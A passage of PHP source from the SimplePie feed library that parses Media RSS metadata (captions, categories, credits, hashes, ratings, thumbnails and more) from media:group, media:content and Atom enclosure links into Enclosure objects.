                                    $captions[] = $this->registry->create(Caption::class, [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]);
                                }
                                if (is_array($captions)) {
                                    $captions = array_values(array_unique($captions));
                                }
                            } else {
                                $captions = $captions_parent;
                            }

                            // CATEGORIES
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'])) {
                                foreach ((array) $content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'] as $category) {
                                    $term = null;
                                    $scheme = null;
                                    $label = null;
                                    if (isset($category['data'])) {
                                        $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($category['attribs']['']['scheme'])) {
                                        $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $scheme = 'http://search.yahoo.com/mrss/category_schema';
                                    }
                                    if (isset($category['attribs']['']['label'])) {
                                        $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
                                }
                            }
                            if (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'])) {
                                foreach ((array) $group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'] as $category) {
                                    $term = null;
                                    $scheme = null;
                                    $label = null;
                                    if (isset($category['data'])) {
                                        $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($category['attribs']['']['scheme'])) {
                                        $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $scheme = 'http://search.yahoo.com/mrss/category_schema';
                                    }
                                    if (isset($category['attribs']['']['label'])) {
                                        $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
                                }
                            }
                            if (is_array($categories) && is_array($categories_parent)) {
                                $categories = array_values(array_unique(array_merge($categories, $categories_parent)));
                            } elseif (is_array($categories)) {
                                $categories = array_values(array_unique($categories));
                            } elseif (is_array($categories_parent)) {
                                $categories = array_values(array_unique($categories_parent));
                            }

                            // COPYRIGHTS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'])) {
                                $copyright_url = null;
                                $copyright_label = null;
                                if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) {
                                    $copyright_url = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'])) {
                                    $copyright_label = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $copyrights = $this->registry->create(Copyright::class, [$copyright_url, $copyright_label]);
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'])) {
                                $copyright_url = null;
                                $copyright_label = null;
                                if (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) {
                                    $copyright_url = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'])) {
                                    $copyright_label = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $copyrights = $this->registry->create(Copyright::class, [$copyright_url, $copyright_label]);
                            } else {
                                $copyrights = $copyrights_parent;
                            }

                            // CREDITS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'])) {
                                foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'] as $credit) {
                                    $credit_role = null;
                                    $credit_scheme = null;
                                    $credit_name = null;
                                    if (isset($credit['attribs']['']['role'])) {
                                        $credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($credit['attribs']['']['scheme'])) {
                                        $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $credit_scheme = 'urn:ebu';
                                    }
                                    if (isset($credit['data'])) {
                                        $credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $credits[] = $this->registry->create(Credit::class, [$credit_role, $credit_scheme, $credit_name]);
                                }
                                if (is_array($credits)) {
                                    $credits = array_values(array_unique($credits));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'])) {
                                foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'] as $credit) {
                                    $credit_role = null;
                                    $credit_scheme = null;
                                    $credit_name = null;
                                    if (isset($credit['attribs']['']['role'])) {
                                        $credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($credit['attribs']['']['scheme'])) {
                                        $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $credit_scheme = 'urn:ebu';
                                    }
                                    if (isset($credit['data'])) {
                                        $credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $credits[] = $this->registry->create(Credit::class, [$credit_role, $credit_scheme, $credit_name]);
                                }
                                if (is_array($credits)) {
                                    $credits = array_values(array_unique($credits));
                                }
                            } else {
                                $credits = $credits_parent;
                            }

                            // DESCRIPTION
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'])) {
                                $description = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'])) {
                                $description = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            } else {
                                $description = $description_parent;
                            }

                            // HASHES
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'])) {
                                foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'] as $hash) {
                                    $value = null;
                                    $algo = null;
                                    if (isset($hash['data'])) {
                                        $value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($hash['attribs']['']['algo'])) {
                                        $algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $algo = 'md5';
                                    }
                                    $hashes[] = $algo.':'.$value;
                                }
                                if (is_array($hashes)) {
                                    $hashes = array_values(array_unique($hashes));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'])) {
                                foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'] as $hash) {
                                    $value = null;
                                    $algo = null;
                                    if (isset($hash['data'])) {
                                        $value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($hash['attribs']['']['algo'])) {
                                        $algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $algo = 'md5';
                                    }
                                    $hashes[] = $algo.':'.$value;
                                }
                                if (is_array($hashes)) {
                                    $hashes = array_values(array_unique($hashes));
                                }
                            } else {
                                $hashes = $hashes_parent;
                            }

                            // KEYWORDS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'])) {
                                if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'])) {
                                    $temp = explode(',', $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                                    foreach ($temp as $word) {
                                        $keywords[] = trim($word);
                                    }
                                    unset($temp);
                                }
                                if (is_array($keywords)) {
                                    $keywords = array_values(array_unique($keywords));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'])) {
                                if (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'])) {
                                    $temp = explode(',', $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                                    foreach ($temp as $word) {
                                        $keywords[] = trim($word);
                                    }
                                    unset($temp);
                                }
                                if (is_array($keywords)) {
                                    $keywords = array_values(array_unique($keywords));
                                }
                            } else {
                                $keywords = $keywords_parent;
                            }

                            // PLAYER
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'])) {
                                $player = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI);
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'])) {
                                $player = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI);
                            } else {
                                $player = $player_parent;
                            }

                            // RATINGS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'])) {
                                foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'] as $rating) {
                                    $rating_scheme = null;
                                    $rating_value = null;
                                    if (isset($rating['attribs']['']['scheme'])) {
                                        $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $rating_scheme = 'urn:simple';
                                    }
                                    if (isset($rating['data'])) {
                                        $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $ratings[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                                }
                                if (is_array($ratings)) {
                                    $ratings = array_values(array_unique($ratings));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'])) {
                                foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'] as $rating) {
                                    $rating_scheme = null;
                                    $rating_value = null;
                                    if (isset($rating['attribs']['']['scheme'])) {
                                        $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    } else {
                                        $rating_scheme = 'urn:simple';
                                    }
                                    if (isset($rating['data'])) {
                                        $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $ratings[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                                }
                                if (is_array($ratings)) {
                                    $ratings = array_values(array_unique($ratings));
                                }
                            } else {
                                $ratings = $ratings_parent;
                            }

                            // RESTRICTIONS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'])) {
                                foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'] as $restriction) {
                                    $restriction_relationship = null;
                                    $restriction_type = null;
                                    $restriction_value = null;
                                    if (isset($restriction['attribs']['']['relationship'])) {
                                        $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($restriction['attribs']['']['type'])) {
                                        $restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($restriction['data'])) {
                                        $restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $restrictions[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                                }
                                if (is_array($restrictions)) {
                                    $restrictions = array_values(array_unique($restrictions));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'])) {
                                foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'] as $restriction) {
                                    $restriction_relationship = null;
                                    $restriction_type = null;
                                    $restriction_value = null;
                                    if (isset($restriction['attribs']['']['relationship'])) {
                                        $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($restriction['attribs']['']['type'])) {
                                        $restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    if (isset($restriction['data'])) {
                                        $restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                    }
                                    $restrictions[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                                }
                                if (is_array($restrictions)) {
                                    $restrictions = array_values(array_unique($restrictions));
                                }
                            } else {
                                $restrictions = $restrictions_parent;
                            }

                            // THUMBNAILS
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'])) {
                                foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) {
                                    $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI);
                                }
                                if (is_array($thumbnails)) {
                                    $thumbnails = array_values(array_unique($thumbnails));
                                }
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'])) {
                                foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) {
                                    $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI);
                                }
                                if (is_array($thumbnails)) {
                                    $thumbnails = array_values(array_unique($thumbnails));
                                }
                            } else {
                                $thumbnails = $thumbnails_parent;
                            }

                            // TITLES
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'])) {
                                $title = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'])) {
                                $title = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            } else {
                                $title = $title_parent;
                            }

                            $this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width]);
                        }
                    }
                }
            }

            // If we have standalone media:content tags, loop through them.
            if (isset($this->data['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'])) {
                foreach ((array) $this->data['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'] as $content) {
                    if (isset($content['attribs']['']['url']) || isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'])) {
                        // Attributes
                        $bitrate = null;
                        $channels = null;
                        $duration = null;
                        $expression = null;
                        $framerate = null;
                        $height = null;
                        $javascript = null;
                        $lang = null;
                        $length = null;
                        $medium = null;
                        $samplingrate = null;
                        $type = null;
                        $url = null;
                        $width = null;

                        // Elements
                        $captions = null;
                        $categories = null;
                        $copyrights = null;
                        $credits = null;
                        $description = null;
                        $hashes = null;
                        $keywords = null;
                        $player = null;
                        $ratings = null;
                        $restrictions = null;
                        $thumbnails = null;
                        $title = null;

                        // Start checking the attributes of media:content
                        if (isset($content['attribs']['']['bitrate'])) {
                            $bitrate = $this->sanitize($content['attribs']['']['bitrate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['channels'])) {
                            $channels = $this->sanitize($content['attribs']['']['channels'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['duration'])) {
                            $duration = $this->sanitize($content['attribs']['']['duration'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        } else {
                            $duration = $duration_parent;
                        }
                        if (isset($content['attribs']['']['expression'])) {
                            $expression = $this->sanitize($content['attribs']['']['expression'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['framerate'])) {
                            $framerate = $this->sanitize($content['attribs']['']['framerate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['height'])) {
                            $height = $this->sanitize($content['attribs']['']['height'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['lang'])) {
                            $lang = $this->sanitize($content['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['fileSize'])) {
                            $length = intval($content['attribs']['']['fileSize']);
                        }
                        if (isset($content['attribs']['']['medium'])) {
                            $medium = $this->sanitize($content['attribs']['']['medium'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['samplingrate'])) {
                            $samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['type'])) {
                            $type = $this->sanitize($content['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['width'])) {
                            $width = $this->sanitize($content['attribs']['']['width'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        }
                        if (isset($content['attribs']['']['url'])) {
                            $url = $this->sanitize($content['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI);
                        }
                        // Checking the other optional media: elements. Priority: media:content, media:group, item, channel

                        // CAPTIONS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'])) {
                            foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'] as $caption) {
                                $caption_type = null;
                                $caption_lang = null;
                                $caption_startTime = null;
                                $caption_endTime = null;
                                $caption_text = null;
                                if (isset($caption['attribs']['']['type'])) {
                                    $caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($caption['attribs']['']['lang'])) {
                                    $caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($caption['attribs']['']['start'])) {
                                    $caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($caption['attribs']['']['end'])) {
                                    $caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($caption['data'])) {
                                    $caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $captions[] = $this->registry->create(Caption::class, [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]);
                            }
                            if (is_array($captions)) {
                                $captions = array_values(array_unique($captions));
                            }
                        } else {
                            $captions = $captions_parent;
                        }

                        // CATEGORIES
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'])) {
                            foreach ((array) $content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'] as $category) {
                                $term = null;
                                $scheme = null;
                                $label = null;
                                if (isset($category['data'])) {
                                    $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($category['attribs']['']['scheme'])) {
                                    $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                } else {
                                    $scheme = 'http://search.yahoo.com/mrss/category_schema';
                                }
                                if (isset($category['attribs']['']['label'])) {
                                    $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
                            }
                        }
                        if (is_array($categories) && is_array($categories_parent)) {
                            $categories = array_values(array_unique(array_merge($categories, $categories_parent)));
                        } elseif (is_array($categories)) {
                            $categories = array_values(array_unique($categories));
                        } elseif (is_array($categories_parent)) {
                            $categories = array_values(array_unique($categories_parent));
                        } else {
                            $categories = null;
                        }

                        // COPYRIGHTS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'])) {
                            $copyright_url = null;
                            $copyright_label = null;
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) {
                                $copyright_url = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'])) {
                                $copyright_label = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                            }
                            $copyrights = $this->registry->create(Copyright::class, [$copyright_url, $copyright_label]);
                        } else {
                            $copyrights = $copyrights_parent;
                        }

                        // CREDITS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'])) {
                            foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'] as $credit) {
                                $credit_role = null;
                                $credit_scheme = null;
                                $credit_name = null;
                                if (isset($credit['attribs']['']['role'])) {
                                    $credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($credit['attribs']['']['scheme'])) {
                                    $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                } else {
                                    $credit_scheme = 'urn:ebu';
                                }
                                if (isset($credit['data'])) {
                                    $credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $credits[] = $this->registry->create(Credit::class, [$credit_role, $credit_scheme, $credit_name]);
                            }
                            if (is_array($credits)) {
                                $credits = array_values(array_unique($credits));
                            }
                        } else {
                            $credits = $credits_parent;
                        }

                        // DESCRIPTION
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'])) {
                            $description = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        } else {
                            $description = $description_parent;
                        }

                        // HASHES
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'])) {
                            foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'] as $hash) {
                                $value = null;
                                $algo = null;
                                if (isset($hash['data'])) {
                                    $value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($hash['attribs']['']['algo'])) {
                                    $algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                } else {
                                    $algo = 'md5';
                                }
                                $hashes[] = $algo.':'.$value;
                            }
                            if (is_array($hashes)) {
                                $hashes = array_values(array_unique($hashes));
                            }
                        } else {
                            $hashes = $hashes_parent;
                        }

                        // KEYWORDS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'])) {
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'])) {
                                $temp = explode(',', $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT));
                                foreach ($temp as $word) {
                                    $keywords[] = trim($word);
                                }
                                unset($temp);
                            }
                            if (is_array($keywords)) {
                                $keywords = array_values(array_unique($keywords));
                            }
                        } else {
                            $keywords = $keywords_parent;
                        }

                        // PLAYER
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'])) {
                            if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'])) {
                                $player = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI);
                            }
                        } else {
                            $player = $player_parent;
                        }

                        // RATINGS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'])) {
                            foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'] as $rating) {
                                $rating_scheme = null;
                                $rating_value = null;
                                if (isset($rating['attribs']['']['scheme'])) {
                                    $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                } else {
                                    $rating_scheme = 'urn:simple';
                                }
                                if (isset($rating['data'])) {
                                    $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $ratings[] = $this->registry->create(Rating::class, [$rating_scheme, $rating_value]);
                            }
                            if (is_array($ratings)) {
                                $ratings = array_values(array_unique($ratings));
                            }
                        } else {
                            $ratings = $ratings_parent;
                        }

                        // RESTRICTIONS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'])) {
                            foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'] as $restriction) {
                                $restriction_relationship = null;
                                $restriction_type = null;
                                $restriction_value = null;
                                if (isset($restriction['attribs']['']['relationship'])) {
                                    $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($restriction['attribs']['']['type'])) {
                                    $restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                if (isset($restriction['data'])) {
                                    $restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                                }
                                $restrictions[] = $this->registry->create(Restriction::class, [$restriction_relationship, $restriction_type, $restriction_value]);
                            }
                            if (is_array($restrictions)) {
                                $restrictions = array_values(array_unique($restrictions));
                            }
                        } else {
                            $restrictions = $restrictions_parent;
                        }

                        // THUMBNAILS
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'])) {
                            foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) {
                                if (isset($thumbnail['attribs']['']['url'])) {
                                    $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI);
                                }
                            }
                            if (is_array($thumbnails)) {
                                $thumbnails = array_values(array_unique($thumbnails));
                            }
                        } else {
                            $thumbnails = $thumbnails_parent;
                        }

                        // TITLES
                        if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'])) {
                            $title = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                        } else {
                            $title = $title_parent;
                        }

                        $this->data['enclosures'][] = $this->registry->create(Enclosure::class, [$url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width]);
                    }
                }
            }

            foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'link') as $link) {
                if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure') {
                    // Attributes
                    $bitrate = null;
                    $channels = null;
                    $duration = null;
                    $expression = null;
                    $framerate = null;
                    $height = null;
                    $javascript = null;
                    $lang = null;
                    $length = null;
                    $medium = null;
                    $samplingrate = null;
                    $type = null;
                    $url = null;
                    $width = null;

                    $url = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link));
                    if (isset($link['attribs']['']['type'])) {
                        $type = $this->sanitize($link['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
                    }
                    if (isset($link['attribs']['']['length'])) {
